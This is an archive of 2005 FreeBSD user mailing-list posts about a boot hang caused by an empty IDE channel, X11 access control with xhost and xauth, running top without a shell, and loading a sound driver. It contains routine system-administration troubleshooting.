From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:11:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5D6BD16A4CE for ; Sun, 6 Feb 2005 00:11:40 +0000 (GMT) Received: from cheyenne.wixb.com (cheyenne.wixb.com [65.43.82.170]) by mx1.FreeBSD.org (Postfix) with ESMTP id D80B443D49 for ; Sun, 6 Feb 2005 00:11:39 +0000 (GMT) (envelope-from jbronson@wixb.com) Message-Id: <6.2.1.2.2.20050205180929.00c756a8@cheyenne.wixb.com> Date: Sat, 05 Feb 2005 18:11:39 -0600 To: Chris Hodgins From: "J.D. Bronson" In-Reply-To: <42055475.5020807@cis.strath.ac.uk> References: <6.2.1.2.2.20050205170724.00c56c78@cheyenne.wixb.com> <42055475.5020807@cis.strath.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed cc: freebsd-questions@freebsd.org Subject: Re: repost of boot issue on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:11:40 -0000 At 05:19 PM 2/5/2005, Chris Hodgins wrote: >J.D. Bronson wrote: >>No one responded - I am sure someone out there knows what the deal is here... >>I did a full install from CDROM on a fresh new clean drive. >>Freebsd is the ONLY OS on the drive. And i used the entire drive. >>I selected the standard boot manager (not the freebsd one)... >>and all the install went fine. This is what I see when I reboot after >>install: >>FreeBSD/i386 BOOT >>Default: 0:ad(0,a)/boot/loader >>boot: >> >>..and it JUST SITS there. If I hit the return key, it will boot up into >>the beastie menu and boot fine. How can I get this machine to boot up on >>its OWN? >>The boot startup sequence on the machine is HARD DRIVE THEN CDROM. >>This is the only hard drive in the system. >>Please if anyone knows how to fix this?? - A fresh install with a fresh >>drive....and still no luck. I did just discover this and wonder if I should create a PR for it. If both IDE channels are enabled and they are all set to AUTO/AUTO for master/slave and there is no drive (yet) installed to IDE channel2, the machine hangs. If I install a drive to IDE channel2, the machine boots. Also, if I disable IDE channel2 and just leave channel1 functional, the machine also boots. So what the heck is channel 2 so important for booting a drive on channel1 ? -- J.D. Bronson Aurora Health Care // Information Services // Milwaukee, WI USA Office: 414.978.8282 // Email: jd@aurora.org // Pager: 414.314.8282 Reach me at AIM:lonebanditusa // From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:23:49 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4819D16A4CE for ; Sun, 6 Feb 2005 00:23:49 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id A9D5743D31 for ; Sun, 6 Feb 2005 00:23:46 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j160Njg49931 for freebsd-questions@freebsd.org; Sat, 5 Feb 2005 18:23:45 -0600 (CST) (envelope-from john) Date: Sat, 5 Feb 2005 18:23:45 -0600 From: John To: freebsd-questions@freebsd.org Message-ID: <20050205182345.A49919@starfire.mn.org> References: <51563600.20050205125343@wanadoo.fr> <20050205100125.C47038@starfire.mn.org> <971531375.20050206000007@wanadoo.fr> <20050205172451.A49675@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20050205172451.A49675@starfire.mn.org>; from john@starfire.mn.org on Sat, Feb 05, 2005 at 05:24:51PM -0600 Subject: Re: Running top without a shell -- more questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:23:49 -0000 On Sat, Feb 05, 2005 at 05:24:51PM -0600, John wrote: > On Sun, Feb 06, 2005 at 12:00:07AM +0100, Anthony Atkielski wrote: > > John writes: > > > > J> I am not seeing what you are seeing. I see a login process hanging > > J> around with the regular shells, just like you are describing for top. > > > > It has occurred to me that all my other logins are ssh, so maybe that's > > the difference. I don't have telnetd running at all. > > I logged in directly to a vtty. No telnet, sshd, just me and the > keyboard. Oh, um, well - yes, that would make all the difference. If you want to do with across the net, then what I'm saying does not apply and makes no sense. Since you were talking about login, I assumed you meant a serial, vga, or virtual terminal. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:31:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6008816A4CE for ; Sun, 6 Feb 2005 00:31:43 +0000 (GMT) Received: from ms-smtp-02-eri0.socal.rr.com (ms-smtp-02-qfe0.socal.rr.com [66.75.162.134]) by mx1.FreeBSD.org (Postfix) with ESMTP id DE73643D41 for ; Sun, 6 Feb 2005 00:31:42 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j160Ve6V019858 for ; Sat, 5 Feb 2005 16:31:40 -0800 (PST) From: Robert Marella To: freebsd-questions@freebsd.org In-Reply-To: <1485510257.20050205055221@wanadoo.fr> References: <4203F451.9070307@cis.strath.ac.uk> <205350680.20050205043947@wanadoo.fr> <200502042343.39455.m.hauber@mchsi.com> <1485510257.20050205055221@wanadoo.fr> Content-Type: text/plain Date: Sat, 05 Feb 2005 14:34:50 -1000 Message-Id: <1107650090.5213.9.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:31:43 -0000 On Sat, 2005-02-05 at 05:52 +0100, Anthony Atkielski wrote: > Mike Hauber writes: > The cat is being pushed back into the bag rather rapidly. The legal > profession was slow to apply the law to the Internet, but it is learning > fast. To paraphrase the "Bard" "The first thing we do, let's kill all the lawyers...except mine". Am I the only one longing for a freebsd-legal mail list that I will not subscribe to? From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:33:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 681C716A4CE for ; Sun, 6 Feb 2005 00:33:44 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id BBA7543D1F for ; Sun, 6 Feb 2005 00:33:43 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so577571rne for ; Sat, 05 Feb 2005 16:33:43 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=Ku+ZxWIW/3FgPaaRM43f7Wa2DhtnTX+1nNFHCDNOfNAJGlP6k7oGnQ1bc4Fg40qzZADRAZcXfkH+VTrWpst36YGo6NPdRLP9blUFGAGy1xovG3WtNLOvnlqe/lTVW2Fx5fEtwvwQ/eH5Rnff2csW0PxGYX19Cfzf5s7FtN/+2+k= Received: by 10.38.152.36 with SMTP id z36mr60493rnd; Sat, 05 Feb 2005 16:33:32 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sat, 5 Feb 2005 16:33:29 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 01:33:29 +0100 From: Gert Cuykens To: "Loren M. Lang" In-Reply-To: <20050205064704.GH8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050202210526.GC77499@keyslapper.net> <42014E0A.5070003@mac.com> <20050203225835.GX8619@alzatex.com> <20050205064704.GH8619@alzatex.com> cc: freebsd-questions@freebsd.org Subject: Re: xhost +localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:33:44 -0000 On Fri, 4 Feb 2005 22:47:04 -0800, Loren M. Lang wrote: > On Fri, Feb 04, 2005 at 12:21:34AM +0100, Gert Cuykens wrote: > > On Thu, 3 Feb 2005 14:58:35 -0800, Loren M. Lang wrote: > > > This enable all programs to have access that are using unix domain > > > sockets to not need the MIT-MAGIC-COOKIE stored in the .Xauthority file > > > in the users home directory so any user can open a program on that > > > display. xhost +localhost adds all programs from localhost using tcp > > > connections instead. DISPLAY=:0 causes a program to use fast unix > > > domain sockets where DISPLAY=localhost:0 causes a program to use slow > > > tcp sockets instead. tcp sockets are really only needed for remote > > > connections and xhost +localhost won't allow any local programs to > > > access X unless they use tcp, not unix. See my first response for more > > > information. > > > > ok time out :) > > 1)does xhost set the DISPLAY variable ? > > No, in fact, xhost needs the DISPLAY variable already set so that it > knows which display to try and connect to to change access control. > xhost needs some way to authenticate itself to the X server so X can > trust that it's a legit user trying to change the access control. If > you open up X to all local users by using something like xhost > +localhost or xhost local: then any local user could take over your > display and use xhost to disable your access to it. > > > 2)does xhost local: also uses the tcp thingie or use it the x socket thingie ? > > local: allows anyone to access the X server through unix domain sockets. > +localhost allows all local programs to access X though tcp sockets. > Normally tcp sockets are only used for remote connections since they are > slower than unix sockets, but unix sockets only work on the same > machine. > > > 3)what must i put in the .Xauthority file to make the screensaver work > > with having to use xhost ? > > When X first logs in to a user, it creates the .Xauthority file in that > users home directory and fills it with a random string called a > MIT-MAGIC-COOKIE. Any X client, by default, reads that file to see what > the cookie is then sends it to the X server to authenticate itself. > Anyone who can read that file can access the display so that file is > normally only readable by the user who logged in, though root can always > read it because root is god. When you run an X program as a different > user, it will look in that users home directory for the .Xauthority > file and so won't be able to find the right cookie unless you used the > xauth command to give that user the cookie ahead of time. By setting > the XAUTHORITY environment variable to some other file, it will check that > file for the magic cookie instead of the current users home directory. > This is useful when running a command as root that you want to access a > normal users X server. This is a much more secure way to allow access > to X than using xhost since you know what users are able to access X, > not just which computers, which may have multiple users on them. > > In summary, don't touch xhost, just use: > > XAUTHORITY=/home/user/.Xauthority xscreensaver > > or you can use xauth to extract the magic cookie and then import it into > the correct users .Xauthority file. As the user of the X server: > > xauth extract my-cookie-file $DISPLAY > > Saves the magic cookie to a file called my-cookie-file for the current > display. Then as the user who want to access the X display: > > xauth merge my-cookie-file > > Adds the cookie stored in my-cookie file to the current users > .Xauthority file. Now user B can open an X application on A's X server. > > Oh, and don't run xscreensaver as root EVER! Instead, if you're really > paranoid about security, make a user who can access any of your files > whose sole purpose is to run xscreensaver then use that user to run it. > This is still not that much more secure since any user that can access > an X server can essentially take it over and control your mouse and > keyboard doing what ever they want, like openning an xterm on your > display and running the passwd command to change your passwd. Now they > just gained access to all your files as well. > Thx this clears alot of questions :) One more question doh, about the x cookie. How long does it take to calculate the x cookie string yourself of a user you want to hack :) From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:35:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B6B6916A4CE for ; Sun, 6 Feb 2005 00:35:08 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.198]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3A02243D45 for ; Sun, 6 Feb 2005 00:35:08 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so577649rne for ; Sat, 05 Feb 2005 16:35:07 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=oSsHgNrBeL9efhuAiGgnLy19rZdfzzrJmgwPWgNPAkVmujwehe8VJCWRahkqwFNKho+2m3IWfat88HmRzdHFzg995YphTOXljsGuAvhyGIpmzQhAfgNJ8EoXmSQ/hYprX8IdezRAr0pYDF+ah0co++wbD002s/TUr5p1zj1C/Jc= Received: by 10.38.9.11 with SMTP id 11mr51525rni; Sat, 05 Feb 2005 16:35:07 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sat, 5 Feb 2005 16:35:07 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 01:35:07 +0100 From: Gert Cuykens To: "Loren M. Lang" In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050202210526.GC77499@keyslapper.net> <42014E0A.5070003@mac.com> <20050203225835.GX8619@alzatex.com> <20050205064704.GH8619@alzatex.com> cc: freebsd-questions@freebsd.org Subject: Re: xhost +localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:35:08 -0000 > Thx this clears alot of questions :) > One more question doh, about the x cookie. > > How long does it take to calculate the x cookie string yourself of a > user you want to hack :) > PS is the x cookie in anyway related to the user passwd ? From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:42:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4A07116A4CE for ; Sun, 6 Feb 2005 00:42:48 +0000 (GMT) Received: from smtp815.mail.sc5.yahoo.com (smtp815.mail.sc5.yahoo.com [66.163.170.1]) by mx1.FreeBSD.org (Postfix) with SMTP id DBE2B43D2F for ; Sun, 6 Feb 2005 00:42:46 +0000 (GMT) (envelope-from donaldj1066@fastmail.fm) Received: from unknown (HELO pres7000.mylan.net) (donaldj@ameritech.net@69.212.18.245 with plain) by smtp815.mail.sc5.yahoo.com with SMTP; 6 Feb 2005 00:42:46 -0000 From: "Donald J. O'Neill" To: freebsd-questions@freebsd.org Date: Sat, 5 Feb 2005 18:41:51 -0600 User-Agent: KMail/1.7.2 References: <6.2.1.2.2.20050205170724.00c56c78@cheyenne.wixb.com> <42055475.5020807@cis.strath.ac.uk> <6.2.1.2.2.20050205172020.00c5db48@cheyenne.wixb.com> In-Reply-To: <6.2.1.2.2.20050205172020.00c5db48@cheyenne.wixb.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502051841.51520.donaldj1066@fastmail.fm> cc: Chris Hodgins cc: "J.D. Bronson" Subject: Re: repost of boot issue on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:42:48 -0000 On Saturday 05 February 2005 05:20 pm, J.D. Bronson wrote: > At 05:19 PM 2/5/2005, Chris Hodgins wrote: > >J.D. Bronson wrote: > >>No one responded - I am sure someone out there knows what the deal > >> is here... I did a full install from CDROM on a fresh new clean > >> drive. Freebsd is the ONLY OS on the drive. And i used the entire > >> drive. I selected the standard boot manager (not the freebsd > >> one)... Hi J.D. As I read what you've said above, it appears that the problem is that you don't have a boot manager installed on the hard drive. The manual says that for what you have - one hard drive, only FreeBSD - you don't need the FreeBSD boot manager. However, if you did have the FreeBSD boot manager installed, it would boot up the way you want. Mine does. > >> and all the install went fine. This is what I see when I > >> reboot after install: > >>FreeBSD/i386 BOOT > >>Default: 0:ad(0,a)/boot/loader > >>boot: > >> > >>..and it JUST SITS there. If I hit the return key, it will boot up > >> into the beastie menu and boot fine. How can I get this machine to > >> boot up on its OWN? On the other hand, how long are you waiting before becoming impatient and hitting return? > >>The boot startup sequence on the machine is HARD DRIVE THEN CDROM. > >>This is the only hard drive in the system. > >>Please if anyone knows how to fix this?? - A fresh install with a > >> fresh drive....and still no luck. > > > >This might give you a few ideas. :) > >http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/boot-block > >s.html#BOOT-BOOT1 > > > >Chris > > I tried this (even tho a full install it SHOULD not be needed) and I > still get the same darn thing. I am really disappointed as I dont > know why its hanging. When you first set it up, did you make the drive bootable, then select no boot manager? -- Donald J. O'Neill donaldj1066@fastmail.fm I'm not totally useless, I can be used as a bad example. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:45:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EBD5616A4CE for ; Sun, 6 Feb 2005 00:45:10 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 791DB43D2F for ; Sun, 6 Feb 2005 00:45:10 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so578200rne for ; Sat, 05 Feb 2005 16:45:09 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=ezgWn3nIU88Ozr0nMLZeSup0IqhutkI0lSLlYvDhrK4lks2GuM829Bt+13mDwkTDF0px+ouWDhWpYxkGsgQcexfX8YNJMYqnHkkFgOvC+aTrKSxj98kzrCEY1yMGgGCTuNR5zcJn5uAi211BIJvGlGoXWkjILwEHBFTNj56YNng= Received: by 10.38.71.50 with SMTP id t50mr46065rna; Sat, 05 Feb 2005 16:45:09 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sat, 5 Feb 2005 16:45:09 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 01:45:09 +0100 From: Gert Cuykens To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Where do all the passwd get saved ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:45:11 -0000 I thought it was /etc/passwd but that seemed not to be where i was looking for :) From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:50:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3848D16A4CE for ; Sun, 6 Feb 2005 00:50:19 +0000 (GMT) Received: from cheyenne.wixb.com (cheyenne.wixb.com [65.43.82.170]) by mx1.FreeBSD.org (Postfix) with ESMTP id A589643D45 for ; Sun, 6 Feb 2005 00:50:18 +0000 (GMT) (envelope-from jbronson@wixb.com) Message-Id: <6.2.1.2.2.20050205184507.0221ce40@cheyenne.wixb.com> Date: Sat, 05 Feb 2005 18:50:18 -0600 To: "Donald J. O'Neill" , freebsd-questions@freebsd.org From: "J.D. Bronson" In-Reply-To: <200502051841.51520.donaldj1066@fastmail.fm> References: <6.2.1.2.2.20050205170724.00c56c78@cheyenne.wixb.com> <42055475.5020807@cis.strath.ac.uk> <6.2.1.2.2.20050205172020.00c5db48@cheyenne.wixb.com> <200502051841.51520.donaldj1066@fastmail.fm> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed cc: Chris Hodgins Subject: Re: repost of boot issue on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:50:19 -0000 At 06:41 PM 2/5/2005, Donald J. O'Neill wrote: >On Saturday 05 February 2005 05:20 pm, J.D. Bronson wrote: > > At 05:19 PM 2/5/2005, Chris Hodgins wrote: > > >J.D. Bronson wrote: > > >>No one responded - I am sure someone out there knows what the deal > > >> is here... I did a full install from CDROM on a fresh new clean > > >> drive. Freebsd is the ONLY OS on the drive. And i used the entire > > >> drive. I selected the standard boot manager (not the freebsd > > >> one)... > >Hi J.D. > >As I read what you've said above, it appears that the problem is that >you don't have a boot manager installed on the hard drive. The manual >says that for what you have - one hard drive, only FreeBSD - you don't >need the FreeBSD boot manager. However, if you did have the FreeBSD >boot manager installed, it would boot up the way you want. Mine does. > > > > >> and all the install went fine. This is what I see when I > > >> reboot after install: > > >>FreeBSD/i386 BOOT > > >>Default: 0:ad(0,a)/boot/loader > > >>boot: > > >> > > >>..and it JUST SITS there. If I hit the return key, it will boot up > > >> into the beastie menu and boot fine. How can I get this machine to > > >> boot up on its OWN? > >On the other hand, how long are you waiting before becoming impatient >and hitting return? > > > >>The boot startup sequence on the machine is HARD DRIVE THEN CDROM. > > >>This is the only hard drive in the system. > > >>Please if anyone knows how to fix this?? - A fresh install with a > > >> fresh drive....and still no luck. > > > > > >This might give you a few ideas. :) > > >http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/boot-block > > >s.html#BOOT-BOOT1 > > > > > >Chris > > > > I tried this (even tho a full install it SHOULD not be needed) and I > > still get the same darn thing. I am really disappointed as I dont > > know why its hanging. > >When you first set it up, did you make the drive bootable, then select >no boot manager? > >-- >Donald J. O'Neill >donaldj1066@fastmail.fm > >I'm not totally useless, >I can be used as a bad example. I just created a PR on this issue. It has to do with whether or not the 2nd IDE channel is enabled -or- if there is a drive on it. When I did the install - I selected the MIDDLE option "Install a standard MBR" as I usually do. This is really weird. I never have seen this before. Maybe someone else has. Here is the description of my PR: Using 5.3 release is when I 1st noticed this. CVSup to 5.3-STABLE does not fix this trouble. If both IDE channels are enabled and they are all set to AUTO/AUTO for master/slave and there is no drive (yet) installed to IDE channel2, the machine hangs at boot. If I install a drive to IDE channel2, the machine boots. If I disable IDE channel2, the machine will boot. When it hangs, all I see on the console is: FreeBSD/i386 BOOT Default: 0:ad(0,a)/boot/loader boot: ...if I hit at this point, the beastie menu comes up. The machine will NOT boot on it's own. -- J.D. Bronson Aurora Health Care // Information Services // Milwaukee, WI USA Office: 414.978.8282 // Email: jd@aurora.org // Pager: 414.314.8282 Reach me at AIM:lonebanditusa // From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 00:54:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4F17916A4CE for ; Sun, 6 Feb 2005 00:54:37 +0000 (GMT) Received: from sccimhc92.asp.att.net (sccimhc92.asp.att.net [63.240.76.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id A5A1D43D1D for ; Sun, 6 Feb 2005 00:54:36 +0000 (GMT) (envelope-from freebsd@nbritton.org) Received: from [192.168.1.10] (12-223-129-46.client.insightbb.com[12.223.129.46]) by sccimhc92.asp.att.net (sccimhc92) with ESMTP id <20050206005435i92004u2ihe>; Sun, 6 Feb 2005 00:54:35 +0000 Message-ID: <42056ACA.4070402@nbritton.org> Date: Sat, 05 Feb 2005 18:54:34 -0600 From: Nikolas Britton User-Agent: Mozilla Thunderbird 1.0 (X11/20050202) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Fabrice , freebsd-questions References: <20050204201505.A75EDC031@postfix3-2.free.fr> <420404F1.7070802@nbritton.org> <42040BA0.2030308@nbritton.org> <20050205184800.4ACB52BC45D@postfix4-2.free.fr> In-Reply-To: <20050205184800.4ACB52BC45D@postfix4-2.free.fr> Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Loading module for sound chip SiS 7102 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 00:54:37 -0000 Fabrice wrote: >On Saturday 05 February 2005 00:56, you wrote: > > >>Nikolas Britton wrote: >> >> >>>Nikolas Britton wrote: >>> >>> >>>>Fabrice wrote: >>>> >>>> >>>>>Hi ! >>>>> >>>>>Debian user just have installed FreeBSD 5.3. >>>>>Seems great ! >>>>> >>>>>But I my sound chip do not properly work. >>>>> >>>>>I tried to : >>>>> >>>>>kldload snd_... >>>>> >>>>>pilots one by one until I found snd_ich pilot that made some sound >>>>>when KDE 3.3 launch >>>>>(and suppress the error about /dev/dsp ) >>>>> >>>>>But the sound works 2 seconds only and becomes then silently stuck ! >>>>> >>>>>After loading pilot : >>>>>kldload snd_ich >>>>> >>>>>the Sis chip seems to be seen. I get the following msg : >>>>> >>>>>pcm0: SiS 7012 port 0xd800-0xd63f, 0xdc00-0xdcff IRQ 11 at dev >>>>>2.7 on PCI 0 >>>>> ICH0: (GIANT_LOCKED) >>>>> >>>>>This SiS sound chip properly works on Debian linux on the same machine. >>>>>But I remember that it was hard to find the right pilot with Linux... >>>>> >>>>>Can you give me any advice, please ? >>>>> >>>>> >>>>Yea, find a better translation service... Put these in >>>>/boot/loader.conf: >>>>sound_load="YES" >>>>snd_driver_load="YES" >>>>hw.snd.maxautovchans=4 >>>> >>>>After that reboot and grep dmesg (dmesg |grep -i foo) for anything >>>>related to sound; snd, pcm, AC97, etc. Then you could check sndstat >>>>and see what it says (cat /dev/sndstat) but it should say about the >>>>same as dmesg (your are doing this to find out which drivers to >>>>load). The next step now would be to test the sound system at the >>>>console, make and install the ports cplay and splay (both are under >>>>/usr/ports/audio) then using cplay* play some mp3s. If you can hear >>>>music then everything's good to go (if you still can't hear music in >>>>X then the problem is with X or your music player, etc.) but if you >>>>still can't hear music then post this question to freebsd questions >>>>mailing list (You could also try changing the IRQ it uses or set >>>>PnP_OS=no in the BIOS, it should be set to this anyways for >>>>FreeBSD!... in general, play with the BIOS settings). >>>> >>>>*cplay's config file, you shouldn't need it but to cover all >>>>bases..., copy and paste it to your home directory, ".cplayrc": >>>> >>>>PLAYERS = [ >>>> FrameOffsetPlayer("ogg123 -q -v -k %d %s", "\.ogg$"), >>>> FrameOffsetPlayer("splay -f -k %d %s", "(^http://|\.mp[123]$)", >>>>38.28), >>>> FrameOffsetPlayer("mpg123 -q -v -k %d %s", >>>>"(^http://|\.mp[123]$)", 38.28), >>>> FrameOffsetPlayer("mpg321 -q -v -k %d %s", >>>>"(^http://|\.mp[123]$)", 38.28), >>>> TimeOffsetPlayer("madplay -v --no-tty-control >>>>--display-time=remaining -s %d %s", "\.mp[123]$"), >>>> NoOffsetPlayer("mikmod -q -p0 %s", >>>>"\.(mod|xm|fm|s3m|med|col|669|it|mtm)$"), >>>> NoOffsetPlayer("xmp -q %s", >>>>"\.(mod|xm|fm|s3m|med|col|669|it|mtm|stm)$"), >>>> NoOffsetPlayer("play %s", "\.(aiff|au|cdr|mp3|ogg|wav)$"), >>>> NoOffsetPlayer("speexdec %s", "\.spx$") >>>> ] >>>> >>>>I wish they'd get email working again (list server was blacklisted), >>>>Nikolas >>>> >>>> >>>Sorry I should have given a bit more info at the start of my reply. >>>Putting those lines in loader.conf will load the sound subsystem >>>(pcm), I don't think it's needed as I think "snd_driver_load" will >>>load it but I'm not sure so... and you'll need it afterwords, all of >>>the sound drivers, and setup up to 4 virtual audio channels as needed, >>>automatically. The part about dmesg etc. should be done last, look in >>>/boot/defaults/loader.conf (starting at line 255) to find the drivers >>>you want to load, remove snd_driver_load from /boot/loader.conf and >>>add the drivers that your card is using there. I think your problem is >>>that you just didn't have any virtual channels setup, KDE would then >>>hog the sound system and then you wouldn't hear anything else, but >>>thats just an educated guess, donno I use cplay even when i'm in X. >>>and only one of the list servers was blacklisted (the main one), your >>>email was one of the few I got today. >>>_______________________________________________ >>>freebsd-newbies@freebsd.org mailing list >>>http://lists.freebsd.org/mailman/listinfo/freebsd-newbies >>>To unsubscribe, send any mail to >>>"freebsd-newbies-unsubscribe@freebsd.org" >>> >>> >>Also, here is the FreeBSD handbook in french: >>http://www.freebsd.org/doc/fr_FR.ISO8859-1/books/handbook/ >>http://www.freebsd.org/doc/fr_FR.ISO8859-1/books/handbook/multimedia.html >> >>googles translation service sucks, this is what I get when I converted >>it to french and then back into english: >>Moreover, here the handbook of French FreeBSD >> >>:-) >> >> > >Thank you very much for your prompt detailed and accurate answer ! >Sorry for the poor english language... (It's much easer for me to unterstand >what other people write.) > >Unfortunately, when I touched my up to now virgin "/boot/loader.conf" to put >lines like these : >sound_load="YES" >or >snd_driver_load="YES" > >(except hw.snd.maxautovchans=4, I took the lines from >/boot/defaults/loader.conf, as is) > > I don't understand what you meant by this? >according to that you suggest and that can be read in the handbook in >"installing sound" section, > >the system complains : > >loading /boot/loader.conf >Warning: syntax error >snd_ich="YES" > ^ >(Showing the error with "^" like some compilers or interpreters do) > > That should be snd_ich_load="YES" >However it is possible to work manually : >Loading the driver "snd_ich" that detects the SiS chipset : >kldload snd_ich >-> >pcm0: port 